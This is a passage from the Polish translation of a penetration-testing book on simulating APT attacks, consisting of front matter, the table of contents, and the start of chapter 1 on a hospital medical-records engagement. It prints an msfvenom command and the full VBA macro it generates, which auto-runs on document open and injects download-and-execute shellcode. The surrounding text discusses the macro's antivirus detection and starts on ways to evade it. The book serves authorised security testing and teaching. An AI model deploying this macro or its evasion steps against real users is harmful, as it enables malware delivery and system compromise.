tytuł oryginału: advanced penetration testing: …modelowanie ataków apt to specyficzna gałąź...

44

Upload: others

Post on 09-Jul-2020

8 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników
Page 2: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Tytuł oryginału: Advanced Penetration Testing: Hacking the World's Most Secure Networks

Tłumaczenie: Łukasz Piwko

ISBN: 978-83-283-3895-1

Copyright © 2017 by John Wiley & Sons, Inc., Indianapolis, Indiana

All Rights Reserved. This translation published under license with the original publisher John Wiley & Sons, Inc.

Translation copyright © 2018 by Helion S.A.

No part of this publication may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, electronic, mechanical, photocopying, recording, scanning, or otherwise without either the prior written permission of the Publisher.

Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji.

Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli.

Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce.

Wydawnictwo HELIONul. Kościuszki 1c, 44-100 GLIWICEtel. 32 231 22 19, 32 230 98 63e-mail: [email protected]: http://helion.pl (księgarnia internetowa, katalog książek)

Pliki z przykładami omawianymi w książce można znaleźć pod adresem: ftp://ftp.helion.pl/przyklady/tepeza.zip

Drogi Czytelniku!Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres http://helion.pl/user/opinie/tepezaMożesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

Printed in Poland.

• Kup książkę• Poleć książkę • Oceń książkę

• Księgarnia internetowa• Lubię to! » Nasza społeczność

Page 3: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

5

Spis treści

O autorze 11

O korektorze merytorycznym 13

Zespół wydania oryginalnego 15

Przedmowa 17

Wprowadzenie 21Wracanie do punktu wyjścia 21Advanced Persistent Threat (APT) 22Technologia nowej generacji 23Hakerzy 25Zapomnij wszystko, co wydawało Ci się, że wiesz o testowaniu penetracyjnym 25Jak podzielona jest książka 26

Rozdział 1. (Nie)bezpieczna dokumentacja medyczna 29Symulowanie ataków APT — wprowadzenie 30Kontekst i podstawowe informacje o misji 30Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 33

Jak NIE rozpoczynać ataku z użyciem VBA 34Analiza kodu VBA 38Unikaj shellcode’u 39Automatyczne wykonywanie kodu 40Użycie podwójnego stagera VBA/VBS 40Staraj się pisać jak najbardziej ogólny kod 41Zaciemnianie kodu 42Kuszenie użytkowników 43

Dowodzenie i kontrola, część I: podstawy 45

Poleć książkęKup książkę

Page 4: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

6 Spis treści

Atak 49Omijanie uwierzytelniania 49

Podsumowanie 53Ćwiczenia 53

Rozdział 2. Kradzież wyników badań 55Kontekst i podstawowe informacje o misji 56Wysyłanie ładunku, część II: aplet Javy 57

Podpisywanie kodu Javy dla przyjemności i pożytku 58Aplet Javy jako pierwszy etap ataku 61Wymyślanie pretekstu 64Podpisywanie stagera 66

Uwagi na temat utrwalania ładunku u ofiary 66Microsoft Windows 66Linux 67macOS 70

Dowodzenie i kontrola, część II: zaawansowane techniki dowodzenia atakiem 71Zwiększanie dyskrecji i dodawanie możliwości

obsługi wielu systemów równocześnie 71Implementacja struktury dowodzenia 73Budowa interfejsu zarządzania 74

Atak 75Świadomość sytuacyjna 75Zdobywanie informacji za pomocą Active Directory 76Analiza danych z Active Directory 77Atak na słaby system pomocniczy 78Użycie zdobytych danych uwierzytelniających w atakowanym systemie 79

Podsumowanie 80Ćwiczenia 80

Rozdział 3. Skok XXI wieku 81Co mogłoby się udać 81Nic nie jest bezpieczne 82Polityka organizacyjna 82Modelowanie ataku APT a tradycyjny test penetracyjny 83Kontekst i podstawowe informacje o misji 84Dowodzenie i kontrola, część III: zaawansowane kanały i eksfiltracja danych 84

Uwagi na temat systemów wykrywania nieautoryzowanegodostępu i centrów bezpieczeństwa 88

Zespół SOC 89

Poleć książkęKup książkę

Page 5: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Spis treści 7

Jak działa zespół SOC 89Czas reakcji SOC i wprowadzanie zamętu 89Ukrywanie się przed systemami IDS 90Fałszywe alarmy 91

Wysyłanie ładunku, część III: fizyczne nośniki 92Nowy rodzaj inżynierii społecznej 92Profil docelowej lokalizacji 92Sporządzanie listy celów 93

Atak 95Podsumowanie 98Ćwiczenia 98

Rozdział 4. Farmakologiczna zawierucha 99Kontekst i opis misji 100Wysyłanie ładunku, część IV: exploity klienta 101

Klątwa Flasha 101Bez tego da się żyć 103Błędy uszkodzenia pamięci — co można, a czego nie można 103Kuszenie ofiary 105

Dowodzenie i kontrola, część IV: integracja Metasploita 108Podstawy integracji Metasploita 108Konfiguracja serwera 108Czarne kapelusze i białe kapelusze 109Co ja mówiłem o antywirusach 110Pivoting 111

Atak 111Porażka technologii Hard Disk Firewall 112Demonstracja możliwości Metasploita 112Za kulisami 113Korzyści z posiadania uprawnień administratora 114Typowe klonowanie podsieci 117Odzyskiwanie haseł 118Lista zakupów 120

Podsumowanie 122Ćwiczenia 122

Rozdział 5. Broń i amunicja 123Kontekst i opis misji 124Wysyłanie ładunku, część V: symulacja ataku przy użyciu ransomware’u 126

Czym jest ransomware 126Po co symulować atak typu ransomware 127Model symulacji ataku typu ransomware 127

Poleć książkęKup książkę

Page 6: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

8 Spis treści

Kryptografia asymetryczna 128Zdalne generowanie klucza 129Branie plików na celownik 129Żądanie okupu 130Utrzymywanie serwera C2 131Uwagi końcowe 131

Dowodzenie i kontrola, część V: tworzenie niewidocznego rozwiązania C2 131Trasowanie cebulowe 131Plik torrc 132Konfiguracja agenta C2 do współpracy z siecią Tor 134Mostki 134

Nowe strategie kamuflażu i wdrażania 135Powrót do VBA — alternatywne wektory ataku przez wiersz poleceń 135PowerShell 135FTP 136Windows Scripting Host (WSH) 136BITSadmin 137Proste zaciemnianie kodu 137Inne sposoby ukrywania się przed antywirusami 140

Atak 143Projektant pistoletów udziela odpowiedzi na nasze pytania 144Identyfikowanie rywali 145Sprytniejszy sposób na podrzucanie dokumentów VBA 146E-mail i zapisane hasła 149Rejestratory klawiszy i ciasteczka 150Powtórzenie 151

Podsumowanie 152Ćwiczenia 153

Rozdział 6. Dochodzenie kryminalne 155Wysyłanie ładunku, część VI: technika HTA 156

Detekcja wirusów 158Zwiększanie uprawnień w systemach Microsoft Windows 158

Podnoszenie uprawnień za pomocą lokalnych exploitów 160Atakowanie za pomocą exploitów automatycznych instalacji systemu

operacyjnego 163Atak za pomocą exploitów Harmonogramu zadań 164Wykorzystywanie luk w usługach 166Porywanie plików DLL 167Skarby w rejestrze systemu Windows 170

Poleć książkęKup książkę

Page 7: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Spis treści 9

Dowodzenie i kontrola, część VI: skrzynka creepera 171Dane techniczne skrzynki creepera 172Podstawowe informacje o płytce Raspberry Pi 172GPIO 174Wybór systemu operacyjnego 174Konfiguracja szyfrowania całego dysku 175Uwaga na temat dyskrecji 179Konfiguracja infrastruktury dowodzenia i kontroli przy użyciu sieci 3G/4G 180Tworzenie transparentnego mostka 184Pi jako bezprzewodowy punkt dostępowy

dla zdalnych rejestratorów naciskanych klawiszy 185Atak 187

Fałszowanie numeru osoby dzwoniącej i SMS-a 187Podsumowanie 189Ćwiczenia 190

Rozdział 7. Gry wojenne 191Kontekst i opis misji 192Wysyłanie ładunku, część VII: atak z pistoletem USB 194

Nośniki USB 194Odrobina inżynierii społecznej 195

Dowodzenie i kontrola, część VII: zaawansowana autonomiczna eksfiltracja danych 196Co dla nas znaczy słowo „samodzielny” 196Sposoby wyprowadzania danych 196

Atak 201Przygotowywanie ładunku kodu do ataku na tajną sieć 203Dyskretna instalacja sterowników 3G/4G 203Atakowanie celu i instalowanie ładunku kodu 204Efektywna błyskawiczna eksfiltracja danych 205

Podsumowanie 206Ćwiczenia 206

Rozdział 8. Hakowanie dziennikarzy 207Odprawa 207Zaawansowane koncepcje inżynierii społecznej 208

Czytanie na zimno 208Dowodzenie i kontrola, część VIII: eksperymentalne koncepcje w C2 212

Przypadek nr 1: zarządzanie agentem przez serwer C2 213Przypadek nr 2: półautonomiczne zarządzanie agentami C2 215

Poleć książkęKup książkę

Page 8: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

10 Spis treści

Wysyłanie ładunku, część VIII: zróżnicowana multimedialna treść internetowa 218Java Web Start 219Adobe AIR 219Kilka słów na temat HTML5 220

Atak 220Podsumowanie 224Ćwiczenia 224

Rozdział 9. Zagrożenie z północy 225Informacje ogólne 226Systemy operacyjne 226

Red Star Desktop 3.0 226Red Star Server 3.0 230

Północnokoreańska publiczna przestrzeń adresów IP 233Północnokoreańska telekomunikacja 235

Zatwierdzone urządzenia mobilne 240Ogród za płotem, czyli intranet Kwangmyong 241Podsłuchiwanie audio i wideo 242Podsumowanie 244Ćwiczenia 244

Skorowidz 245

Poleć książkęKup książkę

Page 9: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

29

Rozdział

1(Nie)bezpieczna

dokumentacja medyczna

W pierwszym rozdziale pokażę Ci, jak za pomocą najprostszego typu ataku można zdobyć nawetnajlepiej strzeżone dane. Myślę, że to idealny temat na początek, zwłaszcza że bezpieczeństwo do-kumentacji medycznej od dawna spędza sen z powiek dyrektorom szpitali.

PRZYPADEK KANE’A

Groźba kradzieży albo zmiany dokumentacji medycznej krążyła nad służbą zdrowa na długoprzed tym, nim pewien Holender znany jako „Kane” w 2000 r. włamał się do centrummedycznego Uniwersytetu Waszyngtońskiego. Kiedy doszło do ataku, podjęto pewnekroki, które utwierdziły władze szpitala w przekonaniu, że zagrożenie zostało zażegnane.Jakież było ich zdziwienie, kiedy pół roku później Kane przekazał zdobyte informacjedziennikarzowi z czasopisma „Security Focus” Kevinowi Poulsenowi, a ten opisał przebiegataku i jego skutki w artykule. Zdarzenie szybko zyskało globalny rozgłos. Kane zdołałutrzymać obecność w sieciach centrum medycznego, pozwalając myśleć swojej ofierze, żezostał z nich skutecznie usunięty. W tym celu dopuścił się drobnego oszustwa polegające-go na wstawieniu na kilka serwerów łatwego do wykrycia trojana BO2K (narzędzia opra-cowanego przez grupę o nazwie Cult of the Dead Cow, która była popularna na przełomiewieków), podczas gdy jego infrastruktura dowodzenia i kontroli była nieco bardziej dys-kretna. Wiele informacji na temat tego zdarzenia można znaleźć w internecie. Zachęcam dozapoznania się z tym przypadkiem, ponieważ stanowi on doskonały przykład pierwszych

Poleć książkęKup książkę

Page 10: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

30 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

nowoczesnych ataków APT oraz wręcz podręcznikowy przykład tego, jak nie postępowaćw przypadku wykrycia intruza — zarówno pod względem postępowania wewnętrznego,jak i ujawniania informacji publicznie.

Wspomniany artykuł można przeczytać na stronie http://www.securityfocus.com/news/122.

Symulowanie ataków APT — wprowadzenieModelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon-centruje się na atakowaniu użytkowników końcowych w celu uzyskania wstępnego dostępu do siecizamiast atakowania zewnętrznych systemów, jak aplikacje sieciowe czy widoczne w internecie elementyinfrastruktury sieciowej. W ramach ćwiczeń taki test zwykle wykonuje się na dwa sposoby — pre-wencyjnie, tzn. jako część testu penetracyjnego, oraz „post mortem”, czyli jako uzupełnienie procesówanalizy po ataku w celu dowiedzenia się, jak doszło do włamania. Zdecydowanie częściej spotyka siępierwszy z tych przypadków. Wyróżnia się krótkoterminowe symulacje ataków APT, które mogątrwać do dwóch tygodni, i długoterminowe, które mogą trwać znacznie dłużej, a opłata jest pobie-rana za jedną godzinę dziennie przez kilka miesięcy. Opinie co do tego, które z podejść jest sku-teczniejsze, są podzielone (i oczywiście wiele zależy od celu ataku). Z jednej strony dłuższy test po-zwala lepiej naśladować prawdziwy atak, z drugiej strony jednak klienci zwykle żądają regularnegowprowadzania poprawek podczas wykonywania testu, a takie ciągłe rzucanie kłód pod nogi prze-czy idei wykonywania testu. W książce opisuję różne podejścia do tej kwestii.

Kontekst i podstawowe informacje o misjiLondyński szpital padł ofiarą włamania nieznanych sprawców. Tyle tylko wiedziałem, kiedy przy-byłem do murowanego z czerwonej cegły kampusu w celu omówienia przypadku i przekazania zaleceńco do dalszego postępowania. Po wymianie tradycyjnych uprzejmości i wypiciu typowego w czasietakich spotkań kubka kawy z automatu przeszliśmy do sedna. Nasza gospodyni tajemniczo stwier-dziła, że „w rejestrze leków wydawanych na receptę znaleziono nieprawidłowości”. Nie bardzowiedziałem, co o tym myśleć, więc powiedziałem: „Może to robota siostry Jackie?”. W zamian zosta-łem obdarzony spojrzeniem w stylu „To nie jest zabawne, a ja nie oglądam głupich seriali”. Mówiładalej: „Odkryliśmy w naszej bazie danych fałszywe pliki dokumentacji medycznej, na podstawiektórych ktoś pobierał leki kontrolowane”.

No tak. To rzeczywiście jest nieprawidłowość.Potem dokładniej omówiliśmy atak i budowę systemu przechowywania dokumentacji medycznej

— jego zalety i wady. Wówczas stało się jasne, że ataki miały miejsce po przenoszeniu danych dochmury. Szpital korzystał z gotowego rozwiązania firmy o nazwie Pharmattix. Wdrażało je wieleszpitali w całym kraju, ponieważ miało ułatwiać świadczenie usług opieki zdrowotnej w opłacalnymmodelu subskrypcyjnym.

Poleć książkęKup książkę

Page 11: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Kontekst i podstawowe informacje o misji 31

Rysunek 1.1. Schemat sieci Pharmattix

System rozróżniał cztery rodzaje użytkowników (rysunek 1.2): lekarzy wypisujących recepty na leki, apteki wydające leki, pacjentów, zaplecze administracyjne zajmujące się różnymi kwestiami.

Zawsze dobrze jest porozmawiać z samym producentem oprogramowania, który najlepiej wie,jakie funkcje ma interesujący nas program.

Moim zadaniem jako pentestera będzie włamanie się do systemu przechowywania dokumentacjimedycznej szpitala przez przeprowadzenie ataku skierowanego przeciw jednemu z pracowników.Dobrym wyborem wydają się lekarze, ponieważ ich rola w systemie pozwala im na dodawanie pa-cjentów i przepisywanie leków, czyli dokładnie to, czego nam potrzeba. Z przytoczonej ulotki wiemy,że system integruje się z pakietem MS Office, a zważywszy na otwarty charakter środowiska, którezamierzamy zaatakować, można stwierdzić, że to doskonały punkt zaczepienia.

Poleć książkęKup książkę

Page 12: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

32 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

Rysunek 1.2. Role użytkowników

MATERIAŁY MARKETINGOWE FIRMY PHARMATTIX

Zoptymalizujemy dostępność i efektywność Twojej praktyki.

Stworzymy dla Ciebie profesjonalną stronę internetową z informacjami medycznymi i róż-nymi formularzami, za pomocą których pacjenci będą mogli korzystać z dodatkowychusług bez ponoszenia wysokich opłat. Zapewnimy kompletny system przechowywaniadokumentacji medycznej o takiej samej funkcjonalności, jaką ma ten, którego obecnieużywasz, oraz możemy do niego importować Twoje dokumenty wiele razy w ciągu dnia ro-boczego.

Dzięki naszemu kompleksowemu rozwiązaniu każdy lekarz bez problemu sam poradzi sobiez obsługą swojej strony internetowej. Za pośrednictwem swojej strony w rozwiązaniu Phar-mattix Doctor Online możesz przekazywać informacje dla pacjentów oraz świadczyć dodat-kowe usługi, jednocześnie oszczędzając czas.

Prowadzenie praktyki i obsługa pacjentów może być łatwa dzięki e-konsultacjom i bezpro-blemowej integracji naszego rozwiązania z systemem obsługi szpitala!

Funkcje strony internetowej:

Własny panel sterowania • Indywidualne strony zespołów, umawianie wizyt itd. •Godziny przyjęć • Ulotki i listy NHG dla pacjentów • Integracja z pakietem MS Office •Informacja medyczna • Informacje dla pasażerów i na temat szczepionek • Różneformularze (rejestracji, ponawiania recept, zadawania pytań) • E-konsultacje •Kalendarz internetowy • Odnośnik do strony systemu informacji dla lekarzy ogólnych •Darmowa pomoc techniczna.

Poleć książkęKup książkę

Page 13: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 33

E-konsultacje i integracja z systemem obsługi szpitala: chcesz bezpiecznie kontaktowaćsię ze swoimi pacjentami? Nasz system e-konsultacji Ci to umożliwi. Zwiększyszdostępność swoich usług, nie tracąc nad niczym kontroli. Ponadto możesz połączyćsystem zarządzania szpitalem ze stroną swojej praktyki, aby umożliwić pacjentomumawianie się na wizyty przez internet i wysyłanie próśb o ponowienie recept.A to wszystko bez potrzeby angażowania asystenta!

Jeśli chcesz dowiedzieć się więcej, skontaktuj się z nami!

KIEDY BRUCE SCHNEIER COŚ MÓWI, TO LEPIEJ GO SŁUCHAĆ

„Uwierzytelnianie dwuetapowe to nie panaceum. Nie chroni na przykład przed phishin-giem, kradzieżą tożsamości ani nie zabezpiecza internetowych kont przed fałszywymitransakcjami. Rozwiązuje problemy dotyczące bezpieczeństwa sprzed dziesięciu lat, niedzisiejsze”.

Bruce Schneier

Wszystkie typy użytkowników podlegały uwierzytelnianiu dwuetapowemu, czyli oprócz nazwyużytkownika lub hasła pracownik szpitala musiał jeszcze mieć kartę dostępu. Ponadto podczas lo-gowania pacjenci otrzymywali jednorazowe hasła w wiadomościach SMS lub e-mail.

W każdym rozdziale opisuję nowe sposoby przesyłania szkodliwego kodu do atakowanego syste-mu oraz wskazuję potencjalne możliwości rozbudowy systemu dowodzenia i kontroli. Pierwszaz technik wysyłania szkodliwego ładunku, którą pragnę się z Tobą podzielić, jest zarazem jedną z naj-starszych i najskuteczniejszych.

Wysyłanie ładunku, część I:jak posługiwać się makrami VBAVBA (Visual Basic for Applications) to podzbiór należącego do Microsoftu języka programowaniao nazwie Visual Basic. Jest przeznaczony do wykonywania tylko w programach Microsoft Wordi Excel i służy do automatyzacji powtarzalnych czynności oraz tworzenia niestandardowych poleceńi przycisków na pasku narzędzi. Choć język ten jest bardzo prosty, za jego pomocą można importowaćliczne biblioteki zewnętrzne, w tym cały interfejs API Windows. Z tego względu można go używaćdo znacznie poważniejszych celów niż tylko obsługa arkuszy kalkulacyjnych czy zarządzanie listamimailingowymi.

Makra VBA mają bogatą tradycję, jeśli chodzi o przesyłanie szkodliwego oprogramowania, aleto nie znaczy, że dziś technika ta jest choćby odrobinę mniej skuteczna, niż była kiedyś. Wręcz prze-ciwnie, w najnowszych wersjach pakietu Microsoft Office (od wersji 2010) aplikacje domyślnie w ża-den sposób nie rozróżniają kodu podpisanego i niepodpisanego. Są ku temu dwa powody. Po pierwszepodpisywanie kodu jest tak samo skuteczne w ochronie przed szkodliwymi programami jak rytualne

Poleć książkęKup książkę

Page 14: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

34 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

tańce w sprowadzaniu deszczu. A po drugie firmie Microsoft znudziło się ciągłe przestrzeganie lu-dzi przed używaniem swoich marnie zabezpieczonych technologii skryptowych.

Teraz pokażę Ci przykładowy program pośredni, który będzie uruchamiał szkodliwy kod w chwili,gdy obrany na cel użytkownik otworzy spreparowany dokument Worda lub Excela. Jest wiele możli-wości, ale zacznę od pokazania przykładowego kodu wygenerowanego przez narzędzie msfvenomz systemu Metasploit, ponieważ stanowi on doskonały przykład, jak nie należy tego robić.

Jak NIE rozpoczynać ataku z użyciem VBANarzędzie msfvenom służy do tworzenia zakodowanych ładunków lub shellcode’ów działających naszerokim spektrum platform — zwykle są to własne agenty Metasploita, choć istnieje możliwośćwspółpracy z obcym kodem, na przykład istniejącymi już plikami wykonawczymi trojanów itp. Dohandlerów Metasploita jeszcze wrócę i omówię ich zalety i wady, ale na razie nie będę wdawał sięw szczegóły. Za pomocą modułu msfvenom można przygotować ładunek w postaci dziesiętnie zakodo-wanego shellcode’u w skrypcie VBA, który można wprowadzić bezpośrednio do dokumentu MicrosoftOffice (listing 1.1). Poniższe polecenie tworzy skrypt VBA, który pobiera spod określonego adresuURL wykonywalny plik Windows i go wykonuje.

Listing 1.1. Makro VBA wygenerowane przez narzędzie

root@wil:~# msfvenom -p windows/download_exec -f vba -e shikata-ga-nai -i 5 -a x86 --platformWindows EXE=c:\temp\payload.exe URL=http://www.wherever.comPayload size: 429 bytes

#If Vba7 ThenPrivate Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv AsLong, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) AsLongPtrPrivate Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByValZeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtrPrivate Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr, ByRefUnd As Any, ByVal Issacgbu As Long) As LongPtr#ElsePrivate Declare Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv As Long,ByVal Kyfde As Long, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPrivate Declare Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal Zeruom AsLong, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPrivate Declare Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As Long, ByRef Und As Any,ByVal Issacgbu As Long) As Long#EndIf

Sub Auto_Open()Dim Hdhskh As Long, Wizksxyu As Variant, Rxnffhltx As Long#If Vba7 ThenDim Qgsztm As LongPtr, Svfb As LongPtr#ElseDim Qgsztm As Long, Svfb As Long#EndIf

Poleć książkęKup książkę

Page 15: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 35

Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255, 255, _99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _98,111,98,46,99,111,109,0)

Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40)For Rxnffhltx = LBound(Wizksxyu) To UBound(Wizksxyu)Hdhskh = Wizksxyu(Rxnffhltx)Svfb = RtlMoveMemory(Qgsztm + Rxnffhltx, Hdhskh, 1)Next RxnffhltxSvfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)End Sub

Sub AutoOpen()Auto_OpenEnd Sub

Sub Workbook_Open()Auto_OpenEnd Sub

Kod został dokładnie zaciemniony przez narzędzie (nazwy funkcji i zmiennych zostały losowowygenerowane), a sam shellcode dodatkowo jest zakodowany przez kilka iteracji algorytmu shikata--ga-nai. Niemniej jednak kontakt tego kodu z jakimkolwiek systemem wykrywania szkodliwychprogramów lub programem antywirusowym spowoduje włączenie się wszystkich możliwych alarmów.W ramach demonstracji zaimportujemy ten kod do dokumentu Worda, aby pokazać, jak łatwo zo-stanie wykryty (rysunek 1.3).

Zapisz ten plik w formacie DOC z makrami, jak pokazano na rysunku 1.4.Jeśli wyślemy ten dokument do zbiorowego serwisu skanowania wirusów www.virustotal.com,

to będziemy mogli dowiedzieć się, jak zostanie potraktowany w 54 różnych bazach danych szko-dliwego oprogramowania — rysunek 1.5.

Poleć książkęKup książkę

Page 16: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

36 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

Rysunek 1.3. Exploit VBA zaimportowany do programu MS Word

Rysunek 1.4. Zapisywanie pliku z wirusem

Poleć książkęKup książkę

Page 17: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 37

Rysunek 1.5. Niedopuszczalnie wysoka wykrywalność przez programy antywirusowe

Z 54 programów anywirusowych aż 48 wykryło nasz kod? Niedobrze.Ponadto serwis VirusTotal przedstawia pewne dodatkowe informacje pozwalające zorientować

się, w jaki sposób osiągnięto taki, a nie inny wynik — rysunek 1.6.W sekcji Tags (znaczniki) wskazane są największe zagrożenia: auto-open (automatyczne otwie-

ranie) i code injection (wstrzykiwanie kodu). Teraz przeanalizujemy ten nasz kod VBA po kawałkui poszukamy sposobów na zmniejszenie jego wykrywalności. Jeśli z góry wiadomo, jaki programantywirusowy działa w docelowym systemie, to bardzo dobrze, ale i tak zawsze należy starać sięosiągnąć zerową wykrywalność.

Poleć książkęKup książkę

Page 18: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

38 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

Rysunek 1.6. Dodatkowe informacje

Analiza kodu VBAW sekcji deklaracji funkcji zaimportowane zostały trzy funkcje z pliku kernel32.dll. Za ich pomocątworzony jest wątek procesu, alokowana jest pamięć dla shellcode’u i wstawiany jest do niej shellcode.Logicznie myśląc, nie ma żadnego powodu, aby w makrze działającym w procesorze tekstu albo ar-kuszu kalkulacyjnym wykonywać takie czynności. Dlatego też sama obecność tych funkcji (które sąpotrzebne do zainstalowania shellcode’u) jest już wystarczająca, aby systemy wykrywania szkodliwychprogramów podniosły raban.

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv AsLong, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPtrPrivate Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByValZeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtrPrivate Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr, ByRefUnd As Any, ByVal Issacgbu As Long) As LongPtr

Jednak wiele skanerów antywirusowych nie sprawdza sekcji deklaracji, a jedynie główną treśćźródłową, w związku z czym zaimportowaną funkcję można ukryć za aliasem, na przykład:

